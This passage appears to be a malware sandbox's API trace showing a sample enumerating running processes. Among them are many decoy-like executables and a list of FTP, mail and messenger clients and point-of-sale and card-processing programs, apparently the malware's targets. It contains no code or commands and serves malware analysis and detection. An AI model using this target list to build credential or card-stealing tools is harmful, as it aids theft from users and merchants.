pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0079.830] lstrlenW (lpString="svchost.exe") returned 11 [0079.830] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0079.831] lstrlenW (lpString="svchost.exe") returned 11 [0079.831] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0079.831] lstrlenW (lpString="svchost.exe") returned 11 [0079.831] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2f, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0079.832] lstrlenW (lpString="svchost.exe") returned 11 [0079.832] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0080.047] lstrlenW (lpString="audiodg.exe") returned 11 [0080.047] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0080.048] lstrlenW (lpString="svchost.exe") returned 11 [0080.048] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0080.049] lstrlenW (lpString="svchost.exe") returned 11 [0080.049] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0080.050] lstrlenW (lpString="dwm.exe") returned 7 [0080.051] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0080.052] lstrlenW (lpString="explorer.exe") returned 12 [0080.052] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0080.057] lstrlenW (lpString="spoolsv.exe") returned 11 [0080.058] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0080.059] lstrlenW (lpString="svchost.exe") returned 11 [0080.059] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0080.060] lstrlenW (lpString="taskhost.exe") returned 12 [0080.060] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0080.061] lstrlenW (lpString="taskeng.exe") returned 11 [0080.061] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="developingthousands.exe")) returned 1 [0080.062] lstrlenW (lpString="developingthousands.exe") returned 23 [0080.062] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="efattack.exe")) returned 1 [0080.063] lstrlenW (lpString="efattack.exe") returned 12 [0080.063] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="feedback.exe")) returned 1 [0080.064] lstrlenW (lpString="feedback.exe") returned 12 [0080.064] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="happy blond engage.exe")) returned 1 [0080.065] lstrlenW (lpString="happy blond engage.exe") returned 22 [0080.065] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="controller_type.exe")) returned 1 [0080.067] lstrlenW (lpString="controller_type.exe") returned 19 [0080.067] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="donations_berry.exe")) returned 1 [0080.068] lstrlenW (lpString="donations_berry.exe") returned 19 [0080.068] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="lindsay.exe")) returned 1 [0080.069] lstrlenW (lpString="lindsay.exe") returned 11 [0080.069] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="columnists.exe")) returned 1 [0080.070] lstrlenW (lpString="columnists.exe") returned 14 [0080.070] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="expected_converter_behind.exe")) returned 1 [0080.071] lstrlenW (lpString="expected_converter_behind.exe") returned 29 [0080.072] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="chose.exe")) returned 1 [0080.073] lstrlenW (lpString="chose.exe") returned 9 [0080.073] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="disciplinary_became.exe")) returned 1 [0080.074] lstrlenW (lpString="disciplinary_became.exe") returned 23 [0080.074] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="methods.exe")) returned 1 [0080.084] lstrlenW (lpString="methods.exe") returned 11 [0080.084] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="circulation.exe")) returned 1 [0080.085] lstrlenW (lpString="circulation.exe") returned 15 [0080.085] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="suited.exe")) returned 1 [0080.086] lstrlenW (lpString="suited.exe") returned 10 [0080.086] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="infrastructure.exe")) returned 1 [0080.088] lstrlenW (lpString="infrastructure.exe") returned 18 [0080.088] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="manager_olympic.exe")) returned 1 [0080.089] lstrlenW (lpString="manager_olympic.exe") returned 19 [0080.089] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="relaxation-senegal-ring.exe")) returned 1 [0080.091] lstrlenW (lpString="relaxation-senegal-ring.exe") returned 27 [0080.091] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="help_through_allowing.exe")) returned 1 [0080.092] lstrlenW (lpString="help_through_allowing.exe") returned 25 [0080.092] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0080.093] lstrlenW (lpString="3dftp.exe") returned 9 [0080.093] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0080.094] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0080.094] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0080.095] lstrlenW (lpString="alftp.exe") returned 9 [0080.096] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0080.096] lstrlenW (lpString="barca.exe") returned 9 [0080.097] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0080.098] lstrlenW (lpString="bitkinex.exe") returned 12 [0080.098] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0080.481] lstrlenW (lpString="coreftp.exe") returned 11 [0080.481] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0080.482] lstrlenW (lpString="far.exe") returned 7 [0080.483] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0080.483] lstrlenW (lpString="filezilla.exe") returned 13 [0080.484] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0080.485] lstrlenW (lpString="flashfxp.exe") returned 12 [0080.485] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0080.486] lstrlenW (lpString="fling.exe") returned 9 [0080.486] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0080.487] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0080.487] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0080.489] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0080.489] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0080.490] lstrlenW (lpString="icq.exe") returned 7 [0080.490] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0080.490] lstrlenW (lpString="leechftp.exe") returned 12 [0080.491] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0080.491] lstrlenW (lpString="ncftp.exe") returned 9 [0080.492] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0080.493] lstrlenW (lpString="notepad.exe") returned 11 [0080.493] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0080.494] lstrlenW (lpString="operamail.exe") returned 13 [0080.494] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0080.496] lstrlenW (lpString="pidgin.exe") returned 10 [0080.496] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0080.498] lstrlenW (lpString="scriptftp.exe") returned 13 [0080.498] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0080.499] lstrlenW (lpString="skype.exe") returned 9 [0080.499] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0080.501] lstrlenW (lpString="smartftp.exe") returned 12 [0080.501] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0080.503] lstrlenW (lpString="thunderbird.exe") returned 15 [0080.503] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0080.504] lstrlenW (lpString="totalcmd.exe") returned 12 [0080.504] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0080.505] lstrlenW (lpString="trillian.exe") returned 12 [0080.506] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0080.507] lstrlenW (lpString="webdrive.exe") returned 12 [0080.507] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0080.509] lstrlenW (lpString="whatsapp.exe") returned 12 [0080.509] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0080.510] lstrlenW (lpString="winscp.exe") returned 10 [0080.510] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0080.512] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0080.513] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0080.514] lstrlenW (lpString="active-charge.exe") returned 17 [0080.514] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0080.828] lstrlenW (lpString="accupos.exe") returned 11 [0080.828] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x924, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0080.829] lstrlenW (lpString="afr38.exe") returned 9 [0080.830] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0080.831] lstrlenW (lpString="aldelo.exe") returned 10 [0080.831] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0080.833] lstrlenW (lpString="ccv_server.exe") returned 14 [0080.833] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0080.834] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0080.834] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0080.836] lstrlenW (lpString="creditservice.exe") returned 17 [0080.836] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0080.837] lstrlenW (lpString="edcsvr.exe") returned 10 [0080.837] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0080.838] lstrlenW (lpString="fpos.exe") returned 8 [0080.838] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x994, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0080.839] lstrlenW (lpString="isspos.exe") returned 10 [0080.839] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0080.840] lstrlenW (lpString="mxslipstream.exe") returned 16 [0080.840] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0080.841] lstrlenW (lpString="omnipos.exe") returned 11 [0080.841] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0080.843] lstrlenW (lpString="spcwin.exe") returned 10 [0080.843] Process32NextW (in: hSnapshot=0x208, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0080.844] lstrlenW 